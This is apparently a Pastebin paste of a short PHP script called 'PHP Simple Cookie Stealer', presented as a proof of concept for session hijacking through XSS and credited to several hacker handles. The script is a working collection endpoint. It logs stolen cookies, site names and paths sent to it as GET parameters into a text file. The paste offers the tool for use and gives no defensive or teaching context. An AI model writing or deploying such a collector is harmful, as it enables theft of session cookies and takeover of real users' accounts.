Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- /*
- Name: PHP Simple Cookie Stealer
- PoC: Session Hijacking with XSS (GET or Stored methods)
- --- zerobyte.id ---
- Bahari Trouble Maker ~ Typical Idiot Security ~ BC0DE.NET ~ JavCode
- */
- $cook = $_GET['c']; // Cookie Logger
- $web = $_GET['w']; // Webname Logger
- $path = $_GET['p']; // PATH Logger
- if(empty($cook))
- {
- exit();
- }
- else
- {
- $fp = fopen('cookie-got.txt', 'a');
- fwrite($fp, 'Web : '.$web.'\nPath : '.$path.'\nCookie : '.$cook.'\n====================\n');
- fclose($fp);
- echo "Tercurry di cookie-got.txt";
- exit();
- }
- ?>
Add Comment
Please, Sign In to add comment